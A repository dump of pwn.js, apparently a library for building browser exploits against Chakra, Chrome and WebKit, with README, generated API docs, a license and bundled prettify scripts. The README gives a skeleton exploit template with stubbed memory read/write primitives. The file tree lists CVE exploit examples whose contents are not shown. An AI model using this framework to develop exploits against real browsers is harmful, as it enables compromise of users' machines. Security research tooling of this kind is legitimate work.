├── .gitignore ├── README.md ├── dist ├── pwn.js └── pwn.min.js ├── docs ├── BaseExploit.html ├── BaseExploit_ArrayType.html ├── BaseExploit_CString.html ├── BaseExploit_FunctionType.html ├── BaseExploit_IntType.html ├── BaseExploit_Pointer.html ├── BaseExploit_PointerType.html ├── BaseExploit_StructPointer.html ├── BaseExploit_StructType.html ├── BaseExploit_Type.html ├── BaseExploit_WString.html ├── ChakraExploit.html ├── ChakraExploit_ArrayType.html ├── ChakraExploit_CString.html ├── ChakraExploit_FunctionType.html ├── ChakraExploit_IntType.html ├── ChakraExploit_Pointer.html ├── ChakraExploit_PointerType.html ├── ChakraExploit_StructPointer.html ├── ChakraExploit_StructType.html ├── ChakraExploit_Thread.html ├── ChakraExploit_Type.html ├── ChakraExploit_WString.html ├── ChakraThreadExploit.html ├── ChakraThreadExploit_ArrayType.html ├── ChakraThreadExploit_CString.html ├── ChakraThreadExploit_FunctionType.html ├── ChakraThreadExploit_IntType.html ├── ChakraThreadExploit_Pointer.html ├── ChakraThreadExploit_PointerType.html ├── ChakraThreadExploit_StructPointer.html ├── ChakraThreadExploit_StructType.html ├── ChakraThreadExploit_Thread.html ├── ChakraThreadExploit_Type.html ├── ChakraThreadExploit_WString.html ├── ChromeExploit.html ├── ChromeExploit_ArrayType.html ├── ChromeExploit_CString.html ├── ChromeExploit_FunctionType.html ├── ChromeExploit_IntType.html ├── ChromeExploit_Pointer.html ├── ChromeExploit_PointerType.html ├── ChromeExploit_StructPointer.html ├── ChromeExploit_StructType.html ├── ChromeExploit_Type.html ├── ChromeExploit_WString.html ├── Integer.html ├── _config.yml ├── baseexploit.js.html ├── chakraexploit.js.html ├── chakrathreadexploit.js.html ├── chromeexploit.js.html ├── global.html ├── global.html#Integer ├── index.html ├── integer.js.html ├── pwn.js.html ├── scripts │ ├── linenumber.js │ └── prettify │ │ ├── Apache-License-2.0.txt │ │ ├── lang-css.js │ │ └── prettify.js └── styles │ ├── jsdoc.css │ └── prettify.css ├── examples ├── CVE-2017-0071.js ├── CVE-2017-0266.js ├── CVE-2017-11802.js ├── CVE-2017-11873.js ├── CVE-2017-11893.js ├── CVE-2017-8548.js ├── chakra.html ├── chrome-789393.js ├── chrome.html ├── thread.js ├── webkit-CVE-2017-2547.js └── webkit.html ├── jsdoc.json ├── package.json ├── patches └── docdash+0.4.0.patch ├── src ├── baseexploit.js ├── chakraexploit.js ├── chakrathreadexploit.js ├── chromeexploit.js ├── index.js ├── integer.js └── webkitexploit.js ├── webpack.common.js ├── webpack.dev.js └── webpack.prod.js /.gitignore: -------------------------------------------------------------------------------- 1 | # General 2 | .DS_Store 3 | .AppleDouble 4 | .LSOverride 5 | 6 | # Icon must end with two \r 7 | Icon 8 | 9 | 10 | # Thumbnails 11 | ._* 12 | 13 | # Files that might appear in the root of a volume 14 | .DocumentRevisions-V100 15 | .fseventsd 16 | .Spotlight-V100 17 | .TemporaryItems 18 | .Trashes 19 | .VolumeIcon.icns 20 | .com.apple.timemachine.donotpresent 21 | 22 | # Directories potentially created on remote AFP share 23 | .AppleDB 24 | .AppleDesktop 25 | Network Trash Folder 26 | Temporary Items 27 | .apdisk 28 | 29 | # Logs 30 | logs 31 | *.log 32 | npm-debug.log* 33 | yarn-debug.log* 34 | yarn-error.log* 35 | 36 | # Runtime data 37 | pids 38 | *.pid 39 | *.seed 40 | *.pid.lock 41 | 42 | # Directory for instrumented libs generated by jscoverage/JSCover 43 | lib-cov 44 | 45 | # Coverage directory used by tools like istanbul 46 | coverage 47 | 48 | # nyc test coverage 49 | .nyc_output 50 | 51 | # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 52 | .grunt 53 | 54 | # Bower dependency directory (https://bower.io/) 55 | bower_components 56 | 57 | # node-waf configuration 58 | .lock-wscript 59 | 60 | # Compiled binary addons (https://nodejs.org/api/addons.html) 61 | build/Release 62 | 63 | # Dependency directories 64 | node_modules/ 65 | jspm_packages/ 66 | 67 | # Typescript v1 declaration files 68 | typings/ 69 | 70 | # Optional npm cache directory 71 | .npm 72 | 73 | # Optional eslint cache 74 | .eslintcache 75 | 76 | # Optional REPL history 77 | .node_repl_history 78 | 79 | # Output of 'npm pack' 80 | *.tgz 81 | 82 | # Yarn Integrity file 83 | .yarn-integrity 84 | 85 | # dotenv environment variables file 86 | .env 87 | 88 | # Swap 89 | [._]*.s[a-v][a-z] 90 | [._]*.sw[a-p] 91 | [._]s[a-v][a-z] 92 | [._]sw[a-p] 93 | 94 | # Session 95 | Session.vim 96 | 97 | # Temporary 98 | .netrwhist 99 | *~ 100 | # Auto-generated tag files 101 | tags 102 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pwn.js 2 | 3 | [![CDNJS](https://img.shields.io/cdnjs/v/pwnjs.svg)](https://cdnjs.com/libraries/pwnjs) 4 | 5 | ## Basic Usage 6 | 7 | Pre-built version of the library is located at /dist/pwn.js. API documentation is available in /docs or [here](http://theori.io/pwnjs/), and examples of complete exploits are in /examples. 8 | 9 | If you want to implement a new Chakra exploit, you can use this basic template: 10 | 11 | ```js 12 | var Exploit = (function() { 13 | var ChakraExploit = pwnjs.ChakraExploit, 14 | Integer = pwnjs.Integer; 15 | 16 | function Exploit() { 17 | ChakraExploit.call(this); 18 | // TODO: implement your exploit 19 | // TODO: leak any Chakra.dll address (e.g. a vtable) 20 | this.initChakra(vtable); 21 | } 22 | Exploit.prototype = Object.create(ChakraExploit.prototype); 23 | Exploit.prototype.constructor = Exploit; 24 | Exploit.prototype.read = function (address, size) { 25 | switch (size) { 26 | case 8: 27 | case 16: 28 | case 32: 29 | case 64: 30 | // TODO: implement memory read of address 31 | } 32 | } 33 | Exploit.prototype.write = function (address, value, size) { 34 | switch (size) { 35 | case 8: 36 | case 16: 37 | case 32: 38 | case 64: 39 | // TODO: implement memory write of value to address 40 | } 41 | } 42 | return Exploit; 43 | })(); 44 | ``` 45 | 46 | Using an exploit in a payload is easier if you use the deprecated _with_ statement: 47 | 48 | ```js 49 | with (new Exploit()) { 50 | var malloc = importFunction('msvcrt.dll', 'malloc', Uint8Ptr); 51 | // ... 52 | } 53 | ``` 54 | 55 | You can also define an Exploit object (non-deprecated, but more verbose): 56 | 57 | ```js 58 | var e = new Exploit(); 59 | var malloc = e.importFunction('msvcrt.dll', 'malloc', Uint8Ptr); 60 | // ... 61 | ``` 62 | 63 | ## Build Instructions 64 | 65 | You can rebuild the library using webpack: 66 | 67 | ``` 68 | $ npm install 69 | $ npm run build 70 | ``` 71 | 72 | You can rebuild the documentation using jsdoc: 73 | 74 | ``` 75 | $ npm run jsdoc 76 | ``` 77 | 78 | Also, you can run a small HTTP server to host the documentation and examples: 79 | 80 | ``` 81 | $ npm start 82 | ``` 83 | -------------------------------------------------------------------------------- /docs/ChakraExploit_Type.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Type - Documentation 6 | 7 | 8 | 9 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 21 | 22 | 23 | 24 | 27 | 28 |
29 | 30 |

Type

31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 |
39 | 40 |
41 | 42 |

43 | ChakraExploit# 44 | 45 | Type 46 |

47 | 48 | 49 |
50 | 51 |
52 |
53 | 54 | 55 | 56 | 57 | 58 |

new Type()

59 | 60 | 61 | 62 | 63 | 64 | 65 |
66 | 67 | 68 |
Source:
69 |
72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 |
Inherited From:
80 |
83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 |
109 | 110 | 111 | 112 | 113 | 114 |
115 | Type base class. Internal. 116 |
117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 |
144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 |
163 | 164 |
165 | 166 | 167 | 168 | 169 |
170 | 171 |
172 | 173 | 176 | 177 | 178 | 179 | 180 | -------------------------------------------------------------------------------- /docs/ChakraThreadExploit_Thread.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Thread - Documentation 6 | 7 | 8 | 9 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 21 | 22 | 23 | 24 | 27 | 28 |
29 | 30 |

Thread

31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 |
39 | 40 |
41 | 42 |

43 | ChakraThreadExploit# 44 | 45 | Thread 46 |

47 | 48 | 49 |
50 | 51 |
52 |
53 | 54 | 55 | 56 | 57 | 58 |

new Thread()

59 | 60 | 61 | 62 | 63 | 64 | 65 |
66 | 67 | 68 |
Source:
69 |
72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 |
Inherited From:
80 |
83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 |
109 | 110 | 111 | 112 | 113 | 114 |
115 | Constructs a thread using a Web Worker. The worker script must create a ChakraThreadExploit object. 116 |
117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 |
144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 |
163 | 164 |
165 | 166 | 167 | 168 | 169 |
170 | 171 |
172 | 173 | 176 | 177 | 178 | 179 | 180 | -------------------------------------------------------------------------------- /docs/ChakraThreadExploit_Type.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Type - Documentation 6 | 7 | 8 | 9 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 21 | 22 | 23 | 24 | 27 | 28 |
29 | 30 |

Type

31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 |
39 | 40 |
41 | 42 |

43 | ChakraThreadExploit# 44 | 45 | Type 46 |

47 | 48 | 49 |
50 | 51 |
52 |
53 | 54 | 55 | 56 | 57 | 58 |

new Type()

59 | 60 | 61 | 62 | 63 | 64 | 65 |
66 | 67 | 68 |
Source:
69 |
72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 |
Inherited From:
80 |
83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 |
109 | 110 | 111 | 112 | 113 | 114 |
115 | Type base class. Internal. 116 |
117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 |
144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 |
163 | 164 |
165 | 166 | 167 | 168 | 169 |
170 | 171 |
172 | 173 | 176 | 177 | 178 | 179 | 180 | -------------------------------------------------------------------------------- /docs/ChromeExploit_Type.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Type - Documentation 6 | 7 | 8 | 9 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 21 | 22 | 23 | 24 | 27 | 28 |
29 | 30 |

Type

31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 |
39 | 40 |
41 | 42 |

43 | ChromeExploit# 44 | 45 | Type 46 |

47 | 48 | 49 |
50 | 51 |
52 |
53 | 54 | 55 | 56 | 57 | 58 |

new Type()

59 | 60 | 61 | 62 | 63 | 64 | 65 |
66 | 67 | 68 |
Source:
69 |
72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 |
Inherited From:
80 |
83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 |
109 | 110 | 111 | 112 | 113 | 114 |
115 | Type base class. Internal. 116 |
117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 |
144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 |
163 | 164 |
165 | 166 | 167 | 168 | 169 |
170 | 171 |
172 | 173 | 176 | 177 | 178 | 179 | 180 | -------------------------------------------------------------------------------- /docs/_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-minimal -------------------------------------------------------------------------------- /docs/global.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Global - Documentation 6 | 7 | 8 | 9 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 21 | 22 | 23 | 24 | 27 | 28 |
29 | 30 |

Global

31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 |
39 | 40 |
41 | 42 |

43 | 44 |

45 | 46 | 47 |
48 | 49 |
50 |
51 | 52 | 53 | 54 |
55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 |
88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 |
97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 |

Members

110 | 111 | 112 | 113 |

Integer

114 | 115 | 116 | 117 | 118 | 119 |
120 | 121 | 122 |
Source:
123 |
126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 |
License:
150 |
  • long.js (c) 2013 Daniel Wirtz 151 | Released under the Apache License, Version 2.0 152 | see: https://github.com/dcodeIO/long.js for details
153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 |
163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 |
184 | 185 |
186 | 187 | 188 | 189 | 190 |
191 | 192 |
193 | 194 | 197 | 198 | 199 | 200 | 201 | -------------------------------------------------------------------------------- /docs/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Home - Documentation 6 | 7 | 8 | 9 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 21 | 22 | 23 | 24 | 27 | 28 |
29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 |
49 |

pwn.js

CDNJS

50 |

Basic Usage

Pre-built version of the library is located at /dist/pwn.js. API documentation is available in /docs or here, and examples of complete exploits are in /examples.

51 |

If you want to implement a new Chakra exploit, you can use this basic template:

52 |
var Exploit = (function() {
 53 |     var ChakraExploit = pwnjs.ChakraExploit,
 54 |         Integer = pwnjs.Integer;
 55 | 
 56 |     function Exploit() {
 57 |         ChakraExploit.call(this);
 58 |         // TODO: implement your exploit
 59 |         // TODO: leak any Chakra.dll address (e.g. a vtable)
 60 |         this.initChakra(vtable);
 61 |     }
 62 |     Exploit.prototype = Object.create(ChakraExploit.prototype);
 63 |     Exploit.prototype.constructor = Exploit;
 64 |     Exploit.prototype.read = function (address, size) {
 65 |         switch (size) {
 66 |             case 8:
 67 |             case 16:
 68 |             case 32:
 69 |             case 64:
 70 |                 // TODO: implement memory read of address
 71 |         }
 72 |     }
 73 |     Exploit.prototype.write = function (address, value, size) {
 74 |         switch (size) {
 75 |             case 8:
 76 |             case 16:
 77 |             case 32:
 78 |             case 64:
 79 |                 // TODO: implement memory write of value to address
 80 |         }
 81 |     }
 82 |     return Exploit;
 83 | })();

Using an exploit in a payload is easier if you use the deprecated with statement:

84 |
with (new Exploit()) {
 85 |     var malloc = importFunction('msvcrt.dll', 'malloc', Uint8Ptr);
 86 |     // ...
 87 | }

You can also define an Exploit object (non-deprecated, but more verbose):

88 |
var e = new Exploit();
 89 | var malloc = e.importFunction('msvcrt.dll', 'malloc', Uint8Ptr);
 90 | // ...

Build Instructions

You can rebuild the library using webpack:

91 |
$ npm install
 92 | $ npm run build

You can rebuild the documentation using jsdoc:

93 |
$ npm run jsdoc

Also, you can run a small HTTP server to host the documentation and examples:

94 |
$ npm start
95 |
96 | 97 | 98 | 99 | 100 | 101 | 102 |
103 | 104 |
105 | 106 | 109 | 110 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /docs/scripts/linenumber.js: -------------------------------------------------------------------------------- 1 | /*global document */ 2 | (function() { 3 | var source = document.getElementsByClassName('prettyprint source linenums'); 4 | var i = 0; 5 | var lineNumber = 0; 6 | var lineId; 7 | var lines; 8 | var totalLines; 9 | var anchorHash; 10 | 11 | if (source && source[0]) { 12 | anchorHash = document.location.hash.substring(1); 13 | lines = source[0].getElementsByTagName('li'); 14 | totalLines = lines.length; 15 | 16 | for (; i < totalLines; i++) { 17 | lineNumber++; 18 | lineId = 'line' + lineNumber; 19 | lines[i].id = lineId; 20 | if (lineId === anchorHash) { 21 | lines[i].className += ' selected'; 22 | } 23 | } 24 | } 25 | })(); 26 | -------------------------------------------------------------------------------- /docs/scripts/prettify/Apache-License-2.0.txt: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright [yyyy] [name of copyright owner] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | -------------------------------------------------------------------------------- /docs/scripts/prettify/lang-css.js: -------------------------------------------------------------------------------- 1 | PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\f\r ]+/,null," \t\r\n "]],[["str",/^"(?:[^\n\f\r"\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*"/,null],["str",/^'(?:[^\n\f\r'\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*'/,null],["lang-css-str",/^url\(([^"')]*)\)/i],["kwd",/^(?:url|rgb|!important|@import|@page|@media|@charset|inherit)(?=[^\w-]|$)/i,null],["lang-css-kw",/^(-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*)\s*:/i],["com",/^\/\*[^*]*\*+(?:[^*/][^*]*\*+)*\//],["com", 2 | /^(?:<\!--|--\>)/],["lit",/^(?:\d+|\d*\.\d+)(?:%|[a-z]+)?/i],["lit",/^#[\da-f]{3,6}/i],["pln",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i],["pun",/^[^\s\w"']+/]]),["css"]);PR.registerLangHandler(PR.createSimpleLexer([],[["kwd",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i]]),["css-kw"]);PR.registerLangHandler(PR.createSimpleLexer([],[["str",/^[^"')]+/]]),["css-str"]); 3 | -------------------------------------------------------------------------------- /docs/scripts/prettify/prettify.js: -------------------------------------------------------------------------------- 1 | var q=null;window.PR_SHOULD_USE_CONTINUATION=!0; 2 | (function(){function L(a){function m(a){var f=a.charCodeAt(0);if(f!==92)return f;var b=a.charAt(1);return(f=r[b])?f:"0"<=b&&b<="7"?parseInt(a.substring(1),8):b==="u"||b==="x"?parseInt(a.substring(2),16):a.charCodeAt(1)}function e(a){if(a<32)return(a<16?"\\x0":"\\x")+a.toString(16);a=String.fromCharCode(a);if(a==="\\"||a==="-"||a==="["||a==="]")a="\\"+a;return a}function h(a){for(var f=a.substring(1,a.length-1).match(/\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\[0-3][0-7]{0,2}|\\[0-7]{1,2}|\\[\S\s]|[^\\]/g),a= 3 | [],b=[],o=f[0]==="^",c=o?1:0,i=f.length;c122||(d<65||j>90||b.push([Math.max(65,j)|32,Math.min(d,90)|32]),d<97||j>122||b.push([Math.max(97,j)&-33,Math.min(d,122)&-33]))}}b.sort(function(a,f){return a[0]-f[0]||f[1]-a[1]});f=[];j=[NaN,NaN];for(c=0;ci[0]&&(i[1]+1>i[0]&&b.push("-"),b.push(e(i[1])));b.push("]");return b.join("")}function y(a){for(var f=a.source.match(/\[(?:[^\\\]]|\\[\S\s])*]|\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\\d+|\\[^\dux]|\(\?[!:=]|[()^]|[^()[\\^]+/g),b=f.length,d=[],c=0,i=0;c=2&&a==="["?f[c]=h(j):a!=="\\"&&(f[c]=j.replace(/[A-Za-z]/g,function(a){a=a.charCodeAt(0);return"["+String.fromCharCode(a&-33,a|32)+"]"}));return f.join("")}for(var t=0,s=!1,l=!1,p=0,d=a.length;p=5&&"lang-"===b.substring(0,5))&&!(o&&typeof o[1]==="string"))c=!1,b="src";c||(r[f]=b)}i=d;d+=f.length;if(c){c=o[1];var j=f.indexOf(c),k=j+c.length;o[2]&&(k=f.length-o[2].length,j=k-c.length);b=b.substring(5);B(l+i,f.substring(0,j),e,p);B(l+i+j,c,C(b,c),p);B(l+i+k,f.substring(k),e,p)}else p.push(l+i,b)}a.e=p}var h={},y;(function(){for(var e=a.concat(m), 9 | l=[],p={},d=0,g=e.length;d=0;)h[n.charAt(k)]=r;r=r[1];n=""+r;p.hasOwnProperty(n)||(l.push(r),p[n]=q)}l.push(/[\S\s]/);y=L(l)})();var t=m.length;return e}function u(a){var 